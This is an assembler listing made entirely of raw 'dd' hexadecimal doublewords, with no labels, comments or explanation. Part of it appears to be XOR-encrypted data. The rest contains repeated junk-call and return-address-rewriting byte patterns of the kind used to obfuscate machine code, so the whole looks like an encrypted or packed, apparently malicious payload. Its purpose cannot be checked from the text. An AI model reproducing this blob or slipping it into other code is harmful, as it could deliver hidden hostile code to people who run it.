dd 42588621h, 4EAC0AE2h, 1ED6F95Eh, 9814199Eh, 111B6827h
dd 22DAB9AAh, 0E87B1C2Ah, 70C8B22Eh, 117186AAh, 1118AB77h
dd 4F3BA121h, 65928EE2h, 559A6C05h, 11063005h, 475D1A21h
dd 7CB217E2h, 0B7F72F9Ah, 1E7179FFh, 111BA7ACh, 0B4A65B21h
dd 981D632Dh, 1A2915A4h, 0DCAE9127h, 0F81D0627h, 111B870Ah
dd 0B92CC6ACh, 1171A72Fh, 11183873h, 4B3B6821h, 45926EE2h
dd 559A1E05h, 11030905h, 43598621h, 0A6FC6FE2h, 907D099Ch
dd 4171B9E0h, 111B6FC9h, 0DDEE2021h, 49989AFFh, 4F425E71h
dd 351F0F7Bh, 0F948434Bh, 111BA122h, 4AD88B01h, 153F34A8h
dd 153F70A0h, 111B1A3Ch, 0BDD85E62h, 2A8A8DA8h, 0E807596Dh
dd 648E5E6Fh, 3A1DDB09h, 1A139DB4h, 2C86B927h, 711D1489h
dd 0F9D9B22Eh, 111B8633h, 4F877339h, 31BB8123h, 0A9F3C5BFh
dd 8E8C3582h, 9492CDD5h, 17100FD4h, 1E4B6C78h, 111B86A6h
dd 3507CA21h, 1ABA2CAAh, 774BD62Ah, 15929BAAh, 471B5E05h
dd 111B19C9h, 0D2452D21h, 356F0F7Fh, 355FC225h, 111BB825h
dd 0D24D9621h, 0FF646D5Ch, 84927F5Ah, 171000E4h, 111E80A8h
dd 84E4802Ah, 171050F0h, 0F94EA14Bh, 111BD022h, 4CD83501h
dd 153F58A8h, 153F5EA0h, 111B0D39h, 0AED8D364h, 0A6C81FCDh
dd 110E2B2Eh, 1F2D021h, 251B6821h, 0AC114D82h, 4B2763BCh
dd 0BF64C822h, 980781FDh, 1A1892A4h, 0F4A62A27h, 0D71DDB09h
dd 1A332DA4h, 0C89A6727h, 54C3C20Fh, 0BDE61B49h, 351F0713h
dd 66C1C448h, 5BC140A0h, 0A4E494D1h, 17107B74h, 111B3BC8h
dd 9C28021h, 982BC61Dh, 2C0316F6h, 914F3560h, 6C0324ACh
dd 2F2D62Fh, 0A41B6821h, 0E03FB307h, 0BA981BBAh, 4251CABCh
dd 0CE7F0BD5h, 0C1E493B1h, 0F94EA14Bh, 111BD022h, 4CD83501h
dd 153F58A8h, 153F5EA0h, 111B0D3Ah, 0CAD8D364h, 58AD640Ah
dd 98F3F995h, 1A14C5A4h, 411B0227h, 111B37C9h, 0D2433A21h
dd 355F8479h, 355F0725h, 111B5E25h, 0D24BE121h, 66E9B6h
dd 81A7A6AAh, 8490B056h, 17100844h, 395E88E7h, 7B5C802Ah
dd 12F31221h, 311BA121h, 98421378h, 901F4C6Dh, 0D1F1065h
dd 501B1A21h, 50F9CE70h, 178AFA8Ch, 12DB250Eh, 1A12F0B4h
dd 255CB827h, 60A2C5C8h, 904D1E6Dh, 30CC3E15h, 0E29001BAh
dd 24E33DEh, 1171452Ah, 11184970h, 483BD021h, 5D9231E2h
dd 559A3005h, 110C1E05h, 405A0D21h, 786430E2h, 99ECE46h
dd 121DAF5Ch, 1A0BF9ACh, 9ACB9727h, 1A11FD9Ch, 509E9327h
dd 7B1D0627h, 12F3D721h, 311B4321h, 98426278h, 901FF46Dh
dd 41F4C65h, 501B3421h, 5D91D970h, 395E88E7h, 7B48802Ah
dd 12F31321h, 311BA121h, 98431379h, 901F4C65h, 0D1F1065h
dd 511B1A21h, 0EFCCE71h, 0E9AA4CD6h, 79FF709Ch, 0F76C0111h
dd 0B13FE4A0h, 7B6426DEh, 12F36321h, 311B1A21h, 9844CE7Eh
dd 901FA25Dh, 81F6765h, 561BA121h, 5FD51376h, 0C3900DBBh
dd 148E1D41h, 1E1D1132h, 111B0BA9h, 119A8921h, 701B4321h
dd 24E14DEh, 1171D62Ah, 11188073h, 4B3B3421h, 459240E2h
dd 559A0905h, 110D8205h, 43594321h, 0BE5292E2h, 111BDEC8h
dd 0F2A6321h, 0BF81F547h, 4B7CDAB0h, 9810001Dh, 1A0F37ACh
dd 6CAE6827h, 9C1DAA3Bh, 1F66C8A4h, 421B0227h, 111B37C9h
dd 0D2403A21h, 3547847Ah, 355F0725h, 111B5725h, 0D248E221h
dd 20AEF96Ah, 0EE1D6300h, 0EAA43BF1h, 1BDE9FA8h, 11710B2Ah
dd 11186E74h, 4C3B4321h, 7D92FCE2h, 559AD405h, 11026C05h
dd 445E3421h, 0E830FFE2h, 98EE5452h, 1A33E3A4h, 549E8527h
dd 461DAA09h, 0F94CD04Bh, 111B6822h, 4ED86B01h, 153F66A8h
dd 153F49A0h, 111B8638h, 0AD81466h, 8618AD4Ah, 0AC928794h
dd 171064FCh, 0C09A667Eh, 7146FAE2h, 0AB71657Fh, 159AA2BAh
dd 798CDF05h, 68A6884Ah, 0EE1DDB2Fh, 1A083D94h, 441B5E27h
dd 111B19C9h, 0D2462D21h, 35770F7Ch, 355FC225h, 111BB625h
dd 0D24E9521h, 0F3DE247Dh, 111B3DC8h, 59FE521h, 0C1C8AA76h
dd 0AC927A2Eh, 171046C0h, 9CD51E2Eh, 1F66C8A4h, 11128127h
dd 0C2923421h, 53767CD3h, 0EE818515h, 78DD07F1h, 9874BDC8h
dd 1A3FB0A4h, 11173927h, 95C36821h, 2F45542Eh, 4380D601h
dd 94DD547Dh, 1710AE64h, 411B2962h, 111BA2C9h, 0D243F021h
dd 355FE179h, 355FB525h, 111B0C25h, 0D24B4D21h, 9AB66113h
dd 1A1D329Ch, 111F4927h, 6133D021h, 0DEADD4B1h, 355FBF71h
dd 9F147A25h, 111B0D24h, 5053269Ah, 0E8902556h, 0F91B2A40h
dd 111BD028h, 0BBFB1A53h, 93DC1160h, 1AA57CDCh, 55925789h
dd 1EF38205h, 0C41B4321h, 0C5FBDDC7h, 7743735h, 45FD55E6h
dd 0ACA17E91h, 4E28289Ah, 411B6779h, 111B85C9h, 0D2436321h
dd 355F2879h, 355F5125h, 111B7025h, 0D24B7421h, 0EEC9F405h
dd 139D0203h, 0A71B8621h, 110BAAFAh, 56BCA121h, 0C7ECC67h
dd 4B0DE0A1h, 9F9CD4E4h, 0A4E46249h, 17101E74h, 0F94B864Bh
dd 111B4322h, 49D8F901h, 153F94A8h, 153F2CA0h, 111B3435h
dd 81D84A61h, 4255DBA1h, 48CA392Eh, 6C03C6ACh, 0F84CA72Fh
dd 111BD033h, 3CA53C55h, 7906D90h, 0E20AAFAAh, 0D295FDE6h
dd 0EE425806h, 0A4A6C8F1h, 981DAA09h, 1A3C75A4h, 0C2900E27h
dd 0B936B1ACh, 11711C2Fh, 1118E571h, 493B8621h, 55921BE2h
dd 559AA505h, 1102D405h, 415B6821h, 14A5C8E2h, 12B71813h
dd 1A3CD494h, 0A5A4D627h, 984ABF2Bh, 11718525h, 11183874h
dd 4C3B6821h, 7D9269E2h
dd 559A1E05h, 11000905h, 445E8621h, 8D6539E2h, 0C8FE184Dh
dd 648E2F30h, 0F91D6309h, 111B3433h, 0DB411784h, 419CDF27h
dd 525F83A1h, 1B6B4645h, 1FF2C3DFh, 0F31BD021h, 6BD0D6EBh
dd 21FED28Dh, 3E694122h, 0C99052F3h, 0F94E864Bh, 111B4322h
dd 4CD8FC01h, 153FBCA8h, 153F2CA0h, 111B3438h, 3D84F64h
dd 0CC59810Bh, 94967A50h, 1715EB00h, 0F94AA14Bh, 111BD022h
dd 48D83101h, 153F78A8h, 153F5EA0h, 111B0D39h, 0C7D8D760h
dd 26345EBBh, 774BAD90h, 159207AAh, 441B0205h, 111B37C9h
dd 0D2463A21h, 3577847Ch, 355F0725h, 111B5E25h, 0D24EE421h
dd 0BC3BB520h, 0B921EC44h, 0E949127Eh, 434B4A78h, 20144993h
dd 111D0D2Eh, 434B4321h, 4941902Eh, 0D92887Bh, 411B0205h
dd 111B37C9h, 0D2433A21h, 355F8479h, 355F0725h, 111B5625h
dd 0D24BE121h, 0A4906F62h, 17104CA8h, 2CAA1DEh, 0AF7D1C2Ah
dd 9492D031h, 17109ECCh, 111B51C8h, 152F1F21h, 13842558h
dd 5DE252B6h, 6DF7EB71h, 0D63EB487h, 1A2888A4h, 111B8927h
dd 461B2921h, 111BA2C9h, 0D244F021h, 3567E17Eh, 355FB525h
dd 111B0625h, 0D24C4A21h, 0A4F1E171h, 905DE17Bh, 486A8F3h
dd 9A1DDB0Fh, 1A368194h, 0FC8ECB27h, 7B1D1139h, 12F35821h
dd 311B8621h, 9846807Ch, 901F854Dh, 61FF465h, 541B6821h
dd 0B112F774h, 0C7903ED2h, 0E992469Eh, 709E0F32h, 7B1D4838h
dd 12F3F021h, 311BD021h, 9842AB78h, 901F106Dh, 81F3E65h
dd 501B0D21h, 7CDB4570h, 9F3B730Dh, 111BA8C9h, 6103BD21h
dd 6E764D06h, 984CB067h, 1A35A794h, 77445727h, 94904EAAh
dd 17105AA4h, 0AB2F3CACh, 5292D62Fh, 74A6E520h, 9C1D3F02h
dd 1FA11494h, 1128B427h, 0B5E88621h, 11A370CAh, 1A1BA121h
dd 0D318A4E1h, 55906839h, 0F9483805h, 111B1A21h, 6D88C7Ah
dd 981B8621h, 980B677Dh, 4A0F8565h, 8EBBE799h, 9AFB9721h
dd 0EE1F1065h, 9C907AC1h, 171009F8h, 90AEAF40h, 701D482Dh
dd 111BB3C9h, 2A8421h, 52030E16h, 0F8D69CB9h, 65130D56h
dd 0F9293130h, 111B8629h, 0F89FC16Dh, 536D2679h, 48428976h
dd 0B93AD5ACh, 9C96322Fh, 1715A0B5h, 37B03899h, 0F09EB5B9h
dd 3A1D4808h, 217B7BEEh, 2112F315h, 7F311BA1h, 55984513h
dd 65901F4Ch, 21061F10h, 77571B1Ah, 0F305E983h, 6AD98BA4h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 8797C355h, 1FDBCF5Fh, 3FDB531h, 9E9060Bh
dd 0F2000000h, 0D655C5D1h, 7C78EC9Bh, 12E9h, 6061F500h
dd 6F18D781h, 0E9815732h, 15F1102Ch, 8BFCC361h, 890F60C0h
dd 4, 0A788B866h, 0BD8361F5h, 60B05BDh, 83097500h, 0B29D1BDh
dd 19740006h, 0C08B5350h, 4B9B8h, 99858900h, 8D060B12h
dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
dd 4B9B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h
dd 28A0F58h, 60000000h, 5E961h, 0D8F0000h, 6AF1A3ACh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 58D4C352h, 0C8558F08h, 0FCE1714Ch, 6AC08Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0DD82E7C3h, 0C18B4031h, 0BBCFBF66h, 4EBh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BE99AC3h, 1B000000h, 0B5B5C75Eh, 6674571Bh, 6A4A4Fh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 13EADDC3h, 0E6BF66FFh, 6870F20h, 29000000h, 0B1275BDh
dd 0A9858D06h, 6A060B28h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 714DC350h, 8821D290h
dd 0FB5BD8Bh, 5750060Bh, 5FF08B66h, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0A5CEC355h, 0E9CA2BC0h, 7, 5A99179Eh, 8BAF5BBEh, 7DF681FBh
dd 6A650A62h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 81C8E0A0h, 0A67F1DCEh, 6A006A0Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 3B27C352h, 3C35668Ah, 0CD858DF6h, 89060EBDh
dd 0B106185h, 358D0106h, 83060B09h, 0B58B05C0h, 60B0329h
dd 24048950h, 0D3B21FBEh, 6A006A09h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F49C356h
dd 686h, 0D19D8900h, 6A060B32h, 418D8900h, 0FF060B0Fh
dd 0B2F2195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0F920F1FBh, 73CB3D0Ah, 0A1BD8993h
dd 8D060B0Dh, 0EA7B09Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 3CBD633Fh, 0D4DB763Eh
dd 3160FA21h, 0B2DFD85h, 0E9B58B06h, 61060B23h, 41953160h
dd 61060B0Ch, 0D681D3FFh, 443CE49h, 66D85FFh, 6A060Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 893D10C3h, 6A3C29BAh, 0A5BD336Dh, 8B060B16h, 713E9F8h
dd 0E80000h, 5D000000h, 0BDD7ED81h, 0BD81060Eh, 60B3385h
dd 7D0h, 184860Fh, 85890000h, 60B08DDh, 24219D8Bh, 0BD8B060Bh
dd 60B0E89h, 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0FD4895C3h, 525030FCh
dd 0DB0B5FF5h, 0E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0E567E1C3h, 1F3DB58Bh
dd 0BD83060Bh, 60EBBBAh, 5B840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 3C45C356h, 0F32575E6h, 5890F1Bh, 66000000h, 8D2FEF81h
dd 0ACE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0BD8B8CF7h, 60B01D1h, 17CD9D89h
dd 85C7060Bh, 60EBBBAh, 1, 0FE9h, 0E6FF7600h, 8CEFE606h
dd 0C9040411h, 28AE13ABh, 60E9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FF3DB33h
dd 38Fh, 0FB8B6600h, 6840Fh, 95290000h, 60B18CDh, 0BBBA85C7h
dd 60Eh, 800F0000h, 1Dh, 0FE860h, 65B80000h, 10584CE1h
dd 0FE05F200h, 0E6D53ACBh, 8D895A7Ch, 60B1505h, 219D8D61h
dd 6A060B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0F445C356h, 8123E42Fh, 0FFFEFF23h
dd 905FBEFFh, 8C667E87h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 66DF81F6h, 891D567Ah
dd 0B0211BDh, 4C3F606h, 50840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 377662C3h
dd 89FED335h, 8B57E9E5h, 0B7BE5EFEh, 663EC40Ch, 0CEAFCE81h
dd 18ED95FFh, 8166060Bh, 8B108BF6h, 0B0B11BDh, 0BE525006h
dd 5C519E1Fh, 2404895Eh, 0DFE9FB8Bh, 6A000003h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 4B39C357h, 0B58B7CCEh, 60B232Dh
dd 6A00B0F9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 2681C352h, 0FEB16ABh, 89F38BE1h
dd 0B17ED85h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 3242C355h, 0C7814189h
dd 5C4957E2h, 0F860F560h, 61615E57h, 9D8971E4h, 60B03CDh
dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 8AF4C355h, 0C1BD23F9h, 0BA060B31h
dd 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
dd 0A7C35545h, 12ED8501h, 0C38B060Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 81C35141h, 28C6A55h, 0E14E9776h
dd 4E8C167h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h
dd 0E2F76617h, 0AE8h, 1F3FAB00h, 0C2218C9Fh, 8BFB09AEh
dd 0B1741B5h, 0D82B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 71C35545h, 0F366F06Fh, 93FA8B66h, 0DE950h
dd 82670000h, 0E6EFE05Dh, 0FC199376h, 93ABC20Ch, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h, 2B047E32h
dd 0B5FFBABEh, 60B3385h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 89F987C3h
dd 0B28019Dh, 0F00B006h, 38Ch, 0FA8B6600h, 0B50B70E6h
dd 60B0151h, 0AE9h, 87A51F00h, 0A839F8BDh, 0E4C29CD4h
dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 4AA5783Bh, 0BD8B4989h, 60B01E9h, 0F51BD8Bh
dd 613C060Bh, 1CC830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0B4E723C3h, 0BDDEC6Eh
dd 8BD8B60Fh, 6BAFAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 540FB8C3h, 50D0AE2Bh
dd 8BFCABD3h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8B988565h, 0B04B5B5h, 4E8C106h, 1D9B52Bh
dd 0F766060Bh, 50006AE2h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 7AEF812Eh, 665F770Ch
dd 76CCCF81h, 8589D82Bh, 60B2A71h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E95150BEh
dd 0B5BFE8C3h, 0B5F4503h, 0B12B5BDh, 0FD82B06h, 0E588h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 19A5D1D2h, 665B8A8Eh, 0B9D18FBFh, 7, 83F28B66h
dd 816600C1h, 3B6510EFh, 0A7860FD9h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 0B451C352h, 22B52220h, 0C78194F8h, 6988CA64h, 6AD98C66h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0FDE9C352h, 0F6F9BF0Fh, 840F04C1h, 4Ah, 0A7C0BE66h
dd 18ED95FFh, 0F51060Bh, 5B5EFEBFh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 38C35040h, 7E53F4E9h, 524C933Bh
dd 343DC32Bh, 0F000008h, 986h, 0BE9F900h, 66000000h, 0C08BF38Bh
dd 0C55BD8Bh, 0C38B060Bh, 6AD88Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 43360EC3h, 0E2DF819Eh
dd 0C704EEF1h, 0B2A9D85h, 84A95306h, 14E956h, 2E6F0000h
dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 838A46DDh, 0C08B59EAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h
dd 0C1B58B8Ah, 81060B31h, 0B3385BDh, 7D006h, 10850F00h
dd 0F8000000h, 338585FFh, 9D89060Bh, 60B1A55h, 0FFF9B70Fh
dd 0B3385B5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 37FFC353h
dd 0FE1A8674h, 5678B890h, 0FE91234h, 48000000h, 0D8B71C58h
dd 0CB026C4h, 713F3D56h, 9D8D2CF2h, 60EC499h, 0FFF915E9h
dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0C378F94Eh, 1505BD8Bh, 0B70F060Bh, 0EBC18BF9h
dd 4, 0D19D8900h, 6A060B21h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0F5DAC350h, 4AC40B2h
dd 6A7FA131h, 0EE9h, 0AE13AB00h, 3F062128h, 178F5A80h
dd 8D91F050h, 0B28A985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 5CCD6D93h, 1DB58BA2h
dd 90060B21h, 0E920B160h, 13h, 1143DFCDh, 78206AD1h, 2604CB50h
dd 61DAE570h, 615E6169h, 870F6050h, 5, 2FA90ABEh, 9BBA6621h
dd 6690616Fh, 7BA9EE81h, 9D31006Ah, 60B06D5h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0E83AC4C3h, 0C6B9858Dh, 6A060Eh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 6627A2C3h
dd 7073EF81h, 14E8h, 0AC46D700h, 0A643BE92h, 88C2C37Bh
dd 4AFD7648h, 40521771h, 65BF668Ch, 0C0835EFBh, 9E99005h
dd 0FF000000h, 287DE6B4h, 0A39FDC26h, 90F88B50h, 29F59D09h
dd 8509060Bh, 60B0C09h, 0B503006Ah, 60B2E59h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0A49F87C3h, 830FF8h, 0FF000000h, 0B2F2195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 47D36C2Eh, 0B9BD0922h, 8D060B24h, 0EA7B09Dh, 9D9D8906h
dd 0FF060B17h, 0B2E681D3h, 0FF233332h, 0B066D85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0B22AA04Ah, 0D51D58EFh, 1DBE66AFh, 0DF1E94Ch, 0E80000h
dd 5D000000h, 0C6C3ED81h, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 5AC2D5C3h, 0BD8191C9h
dd 60B3385h, 7D0h, 0AD860Fh, 0FB8B0000h, 8699D8Bh, 0B58B060Bh
dd 60B2701h, 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 3AB217C3h, 0FDB0BD6h
dd 5385h, 83F38B00h, 0EC4E9BDh, 840F0006h, 29h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 9589D584h
dd 60B06BDh, 2BE9h, 0E985C700h, 1060EC4h, 81000000h, 4BA1BDEEh
dd 16E93Ah, 0BD8B0000h, 60B0079h, 0C4E985C7h, 60Eh, 85010000h
dd 60B1241h, 8699D8Dh, 0BF0F060Bh, 0FF2381F0h, 66FFFFFEh
dd 0B70FDB8Ch, 4C3F6F2h, 52840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3E40FC3h
dd 0B69B58Bh, 0FFF5060Bh, 0B18ED95h, 6860F06h, 8B000000h
dd 0B31C9BDh, 0EE85006h, 0DB000000h, 9CD06AE1h, 4FBD1CFEh
dd 1D11B79Bh, 0F98B6694h, 2404895Fh, 3FAE9h, 0F28B6600h
dd 0B0F88B66h, 61958900h, 0E6060B0Fh, 56006A70h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 6671E48Ah, 0B60FFB8Bh, 0D9BE51D8h, 5F566E24h, 6BAh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 473ACD0Bh, 66C38BFCh, 2517C681h, 8904E8C1h
dd 0B0D9595h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 85C35343h, 3D82BC8h, 0B0F9DBDh, 0BE665006h
dd 1C895CF5h, 0E1B58B24h, 0FF060B07h, 0B3385B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0C8302468h, 0E699DB41h, 0DD95FFC8h, 89060B32h, 0B165995h
dd 6A00B006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 62E3C356h, 1BD894Dh, 0E6060B20h
dd 51006A70h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0CE00DC01h, 79AF682Bh, 3880FBEh, 0F000000h
dd 71E4FABFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0CC35545h, 3EFDBEE7h, 613C4ED7h, 29D830Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 2932A8C3h, 0B318585h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0A1C35646h, 61527ED8h, 6BAFC71h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 4F2C351h, 0CDBE742Fh, 8D89272Fh
dd 60B20F5h, 9D89C38Bh, 60B27E1h, 3104E8C1h, 0B20C1BDh
dd 0E2F76606h, 32B9BD8Bh, 9D31060Bh, 60B005Dh, 6AD82Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0E9DF73C3h, 60806051h, 762ABA66h, 1061B589h, 5861060Bh
dd 5499D01h, 0D82B060Bh, 1C9880Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 321751C3h
dd 29FDBD89h, 7B9060Bh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1908C357h
dd 0E84FEE4Bh, 13h, 0B738FEA0h, 49948C84h, 0F505D3CAh
dd 878DE953h, 0BE143895h, 401A3CB7h, 0C1835Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 9CFE1CD1h
dd 0DD1B8BECh, 860FD93Bh, 133h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0AEC35545h, 6600EFAAh, 6AD98Ch
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0C1F6C2C3h, 0C3840F04h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B82C350h
dd 0FE97D10h, 0E000000h, 13852E07h, 6D3FC9C0h, 0C34A57C1h
dd 95FF3C03h, 60B18EDh, 6B460F9h, 0E2D9D8Bh, 5B61060Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 33C35545h
dd 5EE37C57h, 2E53E41Fh, 5810Fh, 49BE0000h, 0F2653B6h
dd 884h, 8D895300h, 60B1169h, 6AC32B5Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B64AC353h
dd 89D5F1F6h, 0B011D95h, 8343D06h, 860F0000h, 0Eh, 0E9F7BF0Fh
dd 2Fh, 0B39BD8Bh, 0C08B060Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 51C35343h, 0F7CAB5DAh, 0FD7E3D0Fh
dd 8BF88B02h, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 9E37C357h, 0E9603A62h
dd 13h, 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 0F911B7Fh
dd 689h, 21BD3300h, 61060B22h, 242185C7h, 9FB7060Bh, 895757F5h
dd 0B290595h, 89605F06h, 0B28EDBDh, 0C08B6106h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 1F980B4h
dd 0B28A58Dh, 12E906h, 490A0000h, 0B5179A90h, 6390A885h
dd 69BEF85Ch, 6FF06E70h, 3385BD81h, 7D0060Bh, 850F0000h
dd 38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
dd 0C35040h, 7E228B95h, 6614FF74h, 85FFF18Bh, 60B3385h
dd 0F4D8EE81h, 958926D6h, 60B2749h, 3385B5FFh, 6A060Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0E7BC93C3h, 45750647h, 2DB58B0Fh, 0FF060B13h, 0B32DD95h
dd 0EC78106h, 900D7704h, 0C98D8940h, 81060B2Ah, 413AFD7h
dd 6DBD8352h, 60B1Bh, 0CD840Fh, 0BE90000h, 0DC000000h
dd 98A1E04Fh, 661CD9E6h, 0BD839067h, 60B1611h, 0B0840F00h
dd 89000000h, 0B0B1D95h, 6D95FF06h, 0B060B1Bh, 9C840FC0h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0E21CC356h, 0D098D29h, 8D8D060Bh
dd 60B4DD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0BEC35545h, 54F75995h, 5B8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0D3E94186h
dd 0EA2512D2h, 69C7BF66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0D5191AC3h, 819589C3h
